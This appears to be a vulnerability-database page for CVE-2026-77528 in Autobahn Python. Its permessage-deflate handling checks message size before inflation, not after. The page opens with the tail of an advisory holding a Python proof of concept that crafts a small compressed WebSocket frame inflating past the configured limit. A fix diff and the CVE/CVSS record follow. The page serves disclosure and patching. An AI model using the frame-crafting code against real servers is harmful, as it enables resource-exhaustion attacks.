TransportDetails:\n    pass\n\n\nwamp_types.TransportDetails = TransportDetails\nsys.modules[\"autobahn.wamp.types\"] = wamp_types\n\nsys.path.insert(0, SRC + \"/src\")\n\nfrom autobahn.websocket.compress_deflate import PerMessageDeflate\nfrom autobahn.websocket.protocol import WebSocketProtocol\n\n\nclass _Factory:\n    isServer = True\n    requireMaskedClientFrames = True\n    maskServerFrames = False\n    utf8validateIncoming = True\n    applyMask = True\n    maxFramePayloadSize = 128\n    maxMessagePayloadSize = 128\n    autoFragmentSize = 0\n    failByDrop = True\n    echoCloseCodeReason = False\n    openHandshakeTimeout = 5\n    closeHandshakeTimeout = 1\n    tcpNoDelay = True\n    autoPingInterval = 0\n    autoPingTimeout = 0\n    autoPingSize = 12\n    autoPingRestartOnAnyTraffic = True\n    logOctets = False\n    logFrames = False\n    trackTimings = False\n    versions = WebSocketProtocol.SUPPORTED_PROTOCOL_VERSIONS\n    webStatus = False\n    perMessageCompressionAccept = staticmethod(lambda offer: None)\n    serveFlashSocketPolicy = False\n    flashSocketPolicy = \"\"\n    allowedOrigins = [\"*\"]\n    allowedOriginsPatterns = []\n    allowNullOrigin = True\n    maxConnections = 0\n    trustXForwardedFor = 0\n    _batched_timer = _Timer()\n\n\nclass CapturingProtocol(WebSocketProtocol):\n    CONFIG_ATTRS = WebSocketProtocol.CONFIG_ATTRS_COMMON + WebSocketProtocol.CONFIG_ATTRS_SERVER\n\n    def __init__(self):\n        super().__init__()\n        self.delivered = None\n\n    def _onMessageBegin(self, isBinary):\n        self.onMessageBegin(isBinary)\n\n    def _onMessageFrameBegin(self, length):\n        self.onMessageFrameBegin(length)\n\n    def _onMessageFrameData(self, payload):\n        self.onMessageFrameData(payload)\n\n    def _onMessageFrameEnd(self):\n        self.onMessageFrameEnd()\n\n    def _onMessageFrame(self, payload):\n        self.onMessageFrame(payload)\n\n    def _onMessageEnd(self):\n        self.onMessageEnd()\n\n    def _onMessage(self, payload, isBinary):\n        self.delivered = payload\n\n    def sendData(self, data, sync=False, chopsize=None):\n        pass\n\n    def dropConnection(self, abort=True):\n        self.droppedByMe = True\n        self.state = WebSocketProtocol.STATE_CLOSED\n\n\ndef masked_compressed_text_frame(payload):\n    compressor = zlib.compressobj(zlib.Z_DEFAULT_COMPRESSION, zlib.DEFLATED, -15)\n    compressed = compressor.compress(payload) + compressor.flush(zlib.Z_SYNC_FLUSH)\n    compressed = compressed[:-4]\n    mask = b\"\\x11\\x22\\x33\\x44\"\n    masked = bytes(b ^ mask[i % 4] for i, b in enumerate(compressed))\n    if len(compressed) \u003c= 125:\n        header = bytes([0xC1, 0x80 | len(compressed)])\n    elif len(compressed) \u003c= 65535:\n        header = bytes([0xC1, 0x80 | 126]) + len(compressed).to_bytes(2, \"big\")\n    else:\n        raise RuntimeError(\"compressed fixture too large\")\n    return header + mask + masked, len(compressed)\n\n\nlimit = 128\ninflated = b\"X\" * 4096\nframe, compressed_len = masked_compressed_text_frame(inflated)\nif compressed_len \u003e= limit:\n    raise SystemExit(\"compressed fixture does not pass pre-inflate limit\")\n\nproto = CapturingProtocol()\nproto.factory = _Factory()\nproto.log = _Log()\nproto._connectionMade()\nproto._perMessageCompress = PerMessageDeflate(\n    is_server=True,\n    server_no_context_takeover=False,\n    client_no_context_takeover=False,\n    server_max_window_bits=15,\n    client_max_window_bits=15,\n    mem_level=8,\n    max_message_size=None,\n)\nproto.state = WebSocketProtocol.STATE_OPEN\nproto.inside_message = False\nproto.current_frame = None\nproto.websocket_version = 13\n\nproto._dataReceived(frame)\n\ndelivered_len = len(proto.delivered or b\"\")\nif delivered_len \u003e limit and not proto.wasMaxMessagePayloadSizeExceeded:\n    print(\n        \"AUTOBAHN_DEFLATE_LIMIT_BYPASS \"\n        f\"delivered_length={delivered_len} configured_limit={limit} \"\n        f\"compressed_length={compressed_len}\"\n    )\n    raise SystemExit(0)\n\nprint(\n    \"guarded \"\n    f\"delivered_length={delivered_len} configured_limit={limit} \"\n    f\"compressed_length={compressed_len} \"\n    f\"max_exceeded={proto.wasMaxMessagePayloadSizeExceeded}\"\n)\nraise SystemExit(1)\n\n```\n\n### Impact\nA remote unauthenticated WebSocket client can exercise this when the target endpoint accepts permessage-deflate offers and relies on `maxMessagePayloadSize` as its per-message resource limit. The attack sends a valid masked compressed text or data frame with RSV1 set and a compressed length below the configured frame/message caps; those pre-inflate checks pass, and the default accept-object path also bypasses the optional inflater-level `max_message_size` cap because it remains `None`. The user-visible effect is that application handlers may allocate, validate, join, and process inflated messages larger than the configured limit, enabling resource-exhaustion pressure on affected permessage-deflate endpoints. The local artifact demonstrates availability impact only, not confidentiality or integrity compromise.\n\n### Suggested fix\n```001-fix.diff\ndiff --git a/src/autobahn/websocket/protocol.py b/src/autobahn/websocket/protocol.py\nindex 3c060804..4514e3cb 100644\n--- a/src/autobahn/websocket/protocol.py\n+++ b/src/autobahn/websocket/protocol.py\n@@ -1869,6 +1869,17 @@ class WebSocketProtocol:\n             if self.state == WebSocketProtocol.STATE_OPEN:\n                 self.trafficStats.incomingOctetsWebSocketLevel += compressedLen\n                 self.trafficStats.incomingOctetsAppLevel += uncompressedLen\n+\n+            if self._isMessageCompressed:\n+                self.message_data_total_length += uncompressedLen - compressedLen\n+                if 0 \u003c self.maxMessagePayloadSize \u003c self.message_data_total_length:\n+                    self.wasMaxMessagePayloadSizeExceeded = True\n+                    self._max_message_size_exceeded(\n+                        self.message_data_total_length,\n+                        self.maxMessagePayloadSize,\n+                        f\"received WebSocket message size {self.message_data_total_length} exceeds payload limit of {self.maxMessagePayloadSize} octets\",\n+                    )\n+                    return False\n \n             # incrementally validate UTF-8 payload\n             #\n```\n\n*Reported by Team Atlanta.*",
  "id": "BREW-magic-wormhole-CVE-2026-77528",
  "modified": "2026-09-23T09:18:30Z",
  "published": "2026-09-23T09:18:30Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/crossbario/autobahn-python/security/advisories/GHSA-hxp9-w8x3-p566"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-77528"
    },
    {
      "type": "WEB",
      "url": "https://github.com/crossbario/autobahn-python/pull/1916"
    },
    {
      "type": "WEB",
      "url": "https://github.com/crossbario/autobahn-python/commit/77d323a30b09b1828ad8be2ce6344e056970e613"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/crossbario/autobahn-python"
    },
    {
      "type": "WEB",
      "url": "https://github.com/crossbario/autobahn-python/releases/tag/v26_7_1"
    }
  ],
  "schema_version": "1.7.3",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Autobahn Python permessage-deflate bypasses maxMessagePayloadSize after inflation",
  "upstream": [
    "GHSA-hxp9-w8x3-p566",
    "CVE-2026-77528"
  ]
}

CVE-2026-77528 (GCVE-0-2026-77528)

Vulnerability from cvelistv5 – Published: 2026-09-18 19:42 – Updated: 2026-09-19 14:11

Title

Autobahn Python permessage-deflate bypasses maxMessagePayloadSize after inflation

Summary

Autobahn Python is a WebSocket and WAMP implementation for Python that supports Twisted and asyncio. Prior to 26.7.1, WebSocket endpoints that accept permessage-deflate and rely on maxMessagePayloadSize enforce that limit against the compressed frame length before inflation but do not recheck the decompressed message size before delivery. A remote unauthenticated client can send a valid compressed frame below the configured wire-size limit that expands beyond the application message limit, causing oversized data to be allocated, joined, validated, and passed to application callbacks. This can create resource-exhaustion pressure, but the advisory does not establish confidentiality or integrity impact. This issue is fixed in version 26.7.1.

Severity

5.3 (Medium)


                        
                          CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L

SSVC

Exploitation: none Automatable: yes Technical Impact: partial

CISA Coordinator · CISA-ADP (v2.0.3)

Decision recorded 2026-09-19 13:37 UTC

CWE

CWE-409 - Improper Handling of Highly Compressed Data (Data Amplification)
CWE-770 - Allocation of Resources Without Limits or Throttling

Assigner

GitHub_M mitre root

References

4 references

URL	Tags
https://github.com/crossbario/autobahn-python/sec…	x_refsource_CONFIRM
https://github.com/crossbario/autobahn-python/pull/1916	x_refsource_MISC
https://github.com/crossbario/autobahn-python/com…	x_refsource_MISC
https://github.com/crossbario/autobahn-python/rel…	x_refsource_MISC

Impacted products

1 product

Vendor	Product	Version
crossbario	autobahn-python	Affected: < 26.7.1

Show details on NVD website

JSON

To clipboard

{
  "containers": {
    "adp": [
      {
        "metrics": [
          {
            "other": {
              "content": {
                "id": "CVE-2026-77528",
                "options": [
                  {
                    "Exploitation": "none"
                  },
                  {
                    "Automatable": "yes"
                  },
                  {
                    "Technical Impact": "partial"
                  }
                ],
                "role": "CISA Coordinator",
                "timestamp": "2026-09-19T13:37:22.821549Z",
                "version": "2.0.3"
              },
              "type": "ssvc"
            }
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2026-09-19T14:11:38.071Z",
          "orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
          "shortName": "CISA-ADP"
        },
        "title": "CISA ADP Vulnrichment"
      }
    ],
    "cna": {
      "affected": [
        {
          "product": "autobahn-python",
          "vendor": "crossbario",
          "versions": [
            {
              "status": "affected",
              "version": "\u003c 26.7.1"
            }
          ]
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "Autobahn Python is a WebSocket and WAMP implementation for Python that supports Twisted and asyncio. Prior to 26.7.1, WebSocket endpoints that accept permessage-deflate and rely on maxMessagePayloadSize enforce that limit against the compressed frame length before inflation but do not recheck the decompressed message size before delivery. A remote unauthenticated client can send a valid compressed frame below the configured wire-size limit that expands beyond the application message limit, causing oversized data to be allocated, joined, validated, and passed to application callbacks. This can create resource-exhaustion pressure, but the advisory does not establish confidentiality or integrity impact. This issue is fixed in version 26.7.1."
        }
      ],
      "metrics": [
        {
          "cvssV3_1": {
            "attackComplexity": "LOW",
            "attackVector": "NETWORK",
            "availabilityImpact": "LOW",
            "baseScore": 5.3,
            "baseSeverity": "MEDIUM",
            "confidentialityImpact": "NONE",
            "integrityImpact": "NONE",
            "privilegesRequired": "NONE",
            "scope": "UNCHANGED",
            "userInteraction": "NONE",
            "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L",
            "version": "3.1"
          }
        }
      ],
      "problemTypes": [
        {
          "descriptions": [
            {
              "cweId": "CWE-409",
              "description": "CWE-409: Improper Handling of Highly Compressed Data (Data Amplification)",
              "lang": "en",
              "type": "CWE"
            }
          ]
        },
        {
          "descriptions": [
            {
              "cweId": "CWE-770",
              "description": "CWE-770: Allocation of Resources Without Limits or Throttling",
              "lang": "en",
              "type": "CWE"
            }
          ]
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-09-18T19:42:18.767Z",
        "orgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
        "shortName": "GitHub_M"
      },
      "references": [
        {
          "name": "https://github.com/crossbario/autobahn-python/security/advisories/GHSA-hxp9-w8x3-p566",
          "tags": [
            "x_refsource_CONFIRM"
          ],
          "url": "https://github.com/crossbario/autobahn-python/security/advisories/GHSA-hxp9-w8x3-p566"
        },
        {
          "name": "https://github.com/crossbario/autobahn-python/pull/1916",
          "tags": [
            "x_refsource_MISC"
          ],
          "url": "https://github.com/crossbario/autobahn-python/pull/1916"
        },
        {
          "name": "https://github.com/crossbario/autobahn-python/commit/77d323a30b09b1828ad8be2ce6344e056970e613",
          "tags": [
            "x_refsource_MISC"
          ],
          "url": "https://github.com/crossbario/autobahn-python/commit/77d323a30b09b1828ad8be2ce6344e056970e613"
        },
        {
          "name": "https://github.com/crossbario/autobahn-python/releases/tag/v26_7_1",
          "tags": [
            "x_refsource_MISC"
          ],
          "url": "https://github.com/crossbario/autobahn-python/releases/tag/v26_7_1"
        }
      ],
      "source": {
        "advisory": "GHSA-hxp9-w8x3-p566",
        "discovery": "UNKNOWN"
      },
      "title": "Autobahn Python permessage-deflate bypasses maxMessagePayloadSize after inflation"
    }
  },
  "cveMetadata": {
    "assignerOrgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
    "assignerShortName": "GitHub_M",
    "cveId": "CVE-2026-77528",
    "datePublished": "2026-09-18T19:42:18.767Z",
    "dateReserved": "2026-08-20T20:23:02.508Z",
    "dateUpdated": "2026-09-19T14:11:38.071Z",
    "state": "PUBLISHED"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}

Sightings

Author	Source	Type	Date	Other

Nomenclature

Seen: The vulnerability was mentioned, discussed, or observed by the user.
Confirmed: The vulnerability has been validated from an analyst's perspective.
Published Proof of Concept: A public proof of concept is available for this vulnerability.
Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
Not confirmed: The user expressed doubt about the validity of the vulnerability.
Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.

The MITRE ATT&CK techniques below are AI-generated suggestions, inferred from the description of the vulnerability by the CIRCL/vulnerability-attack-technique-classification-roberta-base model, served locally by ML-Gateway. They have not been verified by an analyst and are provided for guidance only.
The approach is described in our paper Mapping CVEs to MITRE ATT&CK Techniques: A Curated Gold-Set Classifier and the Limits of LLM-Assisted Label Expansion.
Browse all ATT&CK techniques and the vulnerabilities related to each.

Related by attack behaviour

Vulnerabilities whose description is nearest to this one in the vector space of the CIRCL/vulnerability-attack-technique-biencoder model. This is a similarity search over the bi-encoder space (plain cosine), not a classification, and it has no measured accuracy.

Action not permitted

GHSA-HXP9-W8X3-P566

Summary

Details

Reproduction

Impact

Suggested fix

BREW-MAGIC-WORMHOLE-CVE-… (GHSA-HXP9-W8X3-P566)

Summary

Details

Reproduction

Impact

Suggested fix

CVE-2026-77528 (GCVE-0-2026-77528)

Tags

Sightings

Nomenclature

Related by attack behaviour